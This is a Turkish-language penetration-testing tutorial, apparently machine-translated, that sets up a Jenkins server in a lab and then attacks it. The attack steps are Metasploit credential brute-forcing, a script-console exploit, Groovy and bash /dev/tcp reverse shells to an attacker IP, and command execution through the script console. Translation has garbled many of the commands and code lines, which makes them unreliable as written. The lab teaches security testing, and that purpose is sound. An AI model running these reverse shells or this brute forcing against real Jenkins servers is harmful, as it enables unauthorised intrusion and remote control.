Ana Sayfa Arama Galeri Video Yazarlar
Üyelik
Üye Girişi
Yayın/Gazete
Yayınlar
Kategoriler
Servisler
Nöbetçi Eczaneler Sayfası Nöbetçi Eczaneler Hava Durumu Namaz Vakitleri Puan Durumu
WhatsApp
Sosyal Medya
Uygulamamızı İndir
Sercan BAYRAM
Sercan BAYRAM

Jenkins Penetrasyon Testi

Jenkins Penetrasyon Testi

  • Laboratuvar Kurulumu
  • Kurulum
  • Yapılandırma
  • Sayım
  • Metasploit Çerçevesi kullanılarak yapılan sömürü
  • Manuel Olarak Sömürme (Ters Kabuk)
  • Kabuk Komutlarını Doğrudan Çalıştırma
  • Çözüm

Laboratuvar Kurulumu

Bu makalede, Ubuntu makinesinde Jenkins sunucusunu kurup uzaktan kod çalıştırmayı sağlayacağız. Makineler şunlardır:

Hedef Makine: Ubuntu (192.168.1.4)

Saldırgan Makinesi: Kali Linux (192.168.1.7)

Kurulum

Jenkins’in çalışabilmesi için Java Çalışma Zamanı Ortamı’na (JRE) ihtiyaç vardır. Bu kılavuzda, Java ortamını kurmak için OpenJDK’yı kullanacağız. OpenJDK’nın geliştirme kiti, JRE’yi kendi çatısı altında barındırır.

apt install openjdk- 11 -jdk

Bazen varsayılan Ubuntu deposunda en son Jenkins sürümü bulunmayabilir. Bu nedenle, en yeni özelliklere ve yamalara erişmek için proje tarafından yönetilen depoları tercih etmenizi öneririz.

Jenkins deposunu Ubuntu sistemine entegre etmek için aşağıdakilere uyun:

Paket bütünlüğünü sağlamak için öncelikle GPG anahtarını içe aktarın.

sudo curl -fsSL https: //pkg.jenkins.io/debian-stable/jenkins.io-2023.key | sudo tee /usr/share/anahtarlıklar/jenkins-keyring.asc > /dev/null

Ardından Jenkins deposunu dahil edin ve aşağıda verilen komutu kullanarak kimlik doğrulama anahtarını kaynak listesine ekleyin:

sudo echo deb [ imzalayan=/usr/share/anahtarlıklar/jenkins-anahtarlık.asc ] https : //pkg.jenkins.io/debian-stable binary/ | sudo tee /etc/apt/sources.list.d/jenkins.list > /dev/null

Artık Ubuntu makinemizde Jenkins kurulumuna geçebiliriz.

apt jenkins kurulumu

Kurulum tamamlandıktan sonra Jenkins aşağıdaki komut kullanılarak başlatılabilir:

systemctl jenkins’i başlat

Durum aşağıdaki komut kullanılarak kontrol edilebilir:

systemctl durumu jenkins

Yapılandırma

Kurulumdan sonra Jenkins sorunsuz çalışacak şekilde yapılandırılabilir. 8080 portunda çalışan servis kontrol edilerek Jenkins sunucusunun bir Yönetici parolası gerektirmesi sağlanabilir .

Şifre, initialAdminPassword dosyasının içeriği okunarak elde edilebilir .

cat /var/lib/Jenkins/secrets/initialAdminPassword

Jenkins’i Özelleştirmek için Önerilen Eklentileri Yükle’yi seçin ve kuruluma devam edin.

Son adım , First Admin User kullanıcı adı ve şifresinin oluşturulmasını gerektirir . Burada kullanıcı adını raj , şifreyi ise 123 olarak kullanıyoruz .

Son olarak, Jenkins Sunucusuna erişmek için URL’yi giriyoruz. Sunucuyu Ubuntu makinesine kurmak istediğimiz için URL’yi http://127.0.0.1:8080/ olarak girebiliriz .

Sayım

Jenkins sunucusunu başarıyla kurup yapılandırdıktan sonra, Kali makinesini kullanarak sömürüye başlayabiliriz. Numaralandırmayla başlayalım, çünkü Jenkins Sunucusu 8080 numaralı portta Ubuntu makinesinde çalışıyor ve bu nedenle 8080 numaralı portu kontrol ediyoruz. 8080 numaralı portta kimlik bilgileri gerektiren bir Jenkins oturum açma sayfası bulunmaktadır.

Metasploit Framework kullanılarak yapılan sömürü:

Giriş sayfası kimlik bilgileri gerektirdiğinden, geçerli kullanıcı adı ve parolayı kontrol etmek için Metasploit çerçevesinde bulunan yardımcı programı kullanabiliriz. Kullanacağımız yardımcı program bir kullanıcı adı dosyası ve bir parola dosyası gerektirecektir.

Öncelikle , CTF senaryolarında kullanıcı adı dosyasını ortak kullanıcı adları listesi ( SecLists – Names ) olarak ve parola dosyasını rockyou.txt olarak kullanabilirsiniz  . Ancak , tarama işlemini kolaylaştırmak için burada özel bir sözlük kullanıyoruz . Metasploit Framework içinde aşağıdaki komutları çalıştırabilirsiniz :

yardımcı/tarayıcı/http/jenkins_login kullanın
rhosts’u 192.168 . 1 . 4 olarak ayarla
rport 8080’i ayarla
hedefuri ayarla /
user_file’ı ayarla users.txt
pass_file şifrelerini ayarlayın.txt
ayrıntılı yanlış ayarla
faydalanmak

Ardından , kullanıcı adı ve parolanın başarıyla numaralandırıldığını gözlemleyin . Daha sonra , bu kimlik bilgilerini kullanarak hedefi istismar edin . adresinde bulunan istismarı kullanabilirsiniz . İstismarı çalıştırmak için exploit/multi/http/jenkins_script_consoleaşağıdaki Metasploit komutlarını kullanın :

exploit/multi/http/jenkins_script_console kullanın
hedefleri göster
hedef 1’i belirle
yük linux/x64/meterpreter/reverse_tcp’yi ayarla
rhosts’u 192.168 . 1 . 4 olarak ayarla
rport 8080’i ayarla
hedefuri ayarla /
kullanıcı adı raj’ı ayarla
şifreyi 123 olarak ayarla
faydalanmak

Exploit başarıyla yürütüldükten sonra ters kabuğun elde edildiğine dikkat edin.

Manuel Olarak Sömürme (Ters Kabuk)

Manuel sömürüye devam etmek için Jenkins Konsolu’nun kullanıcı adı ve şifresine ihtiyacınız var . Saldırganın kaba kuvvet veya başka bir yöntemle kimlik bilgilerini zaten keşfettiğini varsayarsak , konsola başarıyla giriş yapabilirler .

Yardımcı modülden daha önce keşfedilen kimlik bilgilerini ( raj:123 ) kullanarak oturum açtıktan sonra , Komut Dosyası Konsolunu içeren Jenkins’i Yönet işlevine erişebilirsiniz .

Jenkins Penetrasyon Testinde , Groovy işleri ve işlem hatlarını tanımlamak için ana betik dili olarak kullanılır. Dinamik olan ve Java Sanal Makinesi (JVM) üzerinde çalışan Groovy, ağırlıklı olarak Java tabanlı olan Jenkins ile sorunsuz bir şekilde entegre olur. Bu nedenle, ters kabuğu elde etmek için Groovy ters kabuk betiğini kullanacağız. Groovy ters kabuğu komutu, https://www.revshells.com adresinden Groovy betik yükünü seçerek elde edilebilir.

Şimdi, Jenkins betik konsolunda yukarıdaki Groovy ters kabuk betiğini kullanalım. Betiği çalıştırmadan önce, Kali makinesinde 443 numaralı portta bulunan Netcat dinleyicisini aşağıdaki komutu kullanarak başlattığınızdan emin olun:

rlwrap nc -lnvp 443

Son olarak yukarıdaki groovy betiği çalıştırıldıktan sonra 443 numaralı portta ters kabuk elde edilir.

Ters kabuğu elde etmenin alternatif bir yolu, komut konsolunda aşağıdaki komut dosyasını çalıştırmak olabilir:

r = Çalışma zamanı. getRuntime ()
p = r. exec ([ “/bin/bash” , “-c” , “exec 5<>/dev/tcp/192.168.1.7/443; cat <&5 | satırı okurken; $line 2>&5 >&5; yapıldı” ] olarak Dize [])
s. waitFor ()

Betiği çalıştırmadan önce dinleyiciyi 443 numaralı porttan başlattığınızdan emin olun.

Betiğin çalıştırılmasının ardından ters kabuğun 443 numaralı portta elde edildiğine dikkat edin.

Kabuk Komutlarını Doğrudan Çalıştırma

Ters kabuğu alacak bir dinleyicimizin olmadığı durumlar vardır. Bu durumlarda, betiği doğrudan çalıştırabilir ve Sonuç penceresinde kodun çıktısını alabiliriz.

Sistem komutlarının çıktısını almak için aşağıdaki kod kullanılır:

def sout = yeni StringBuffer () , serr = yeni StringBuffer ()
def proc = ‘ipconfig’ .execute ( )
proc. consumeProcessOutput ( sout, serr )
proc. waitForOrKill ( 1000 )
println “out> $sout err> $serr”

Betiği çalıştırdıktan sonra çıktıyı doğrudan Sonuç penceresinde görebileceğinizi unutmayın.

Sonuç penceresinde komut çıktısını almak için benzer bir kod kullanabilirsiniz:

def proc = “id” .exect ( ) ;
def os = yeni StringBuffer () ;
proc.waitForProcessOutput ( işletim sistemi, Sistem. hata ) ;
println ( os. toString ()) ;

Betiği çalıştırdıktan sonra çıktıyı doğrudan Sonuç penceresinde görebileceğinizi unutmayın.

Özetle, Jenkins Penetrasyon Testi, Jenkins sunucularının ters kabuk elde etmek için kullanılabileceğini ortaya koyarak güçlü güvenlik uygulamalarına duyulan hayati ihtiyacı vurgular. İster ele geçirilmiş oturum açma bilgileri ister hiç kimlik doğrulaması olmaması nedeniyle olsun, Jenkins sunucularının güvenlik açığı, güvenliği neden ciddiye almamız gerektiğini gösterir. Yetkisiz erişim ve kötüye kullanım olasılığını azaltmak için kuruluşların sıkı erişim kuralları uygulaması, düzenli güvenlik kontrolleri gerçekleştirmesi ve sistemleri derhal güncellemesi hayati önem taşır.

YORUMLAR

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

YAZARLAR
TÜMÜ

SON HABERLER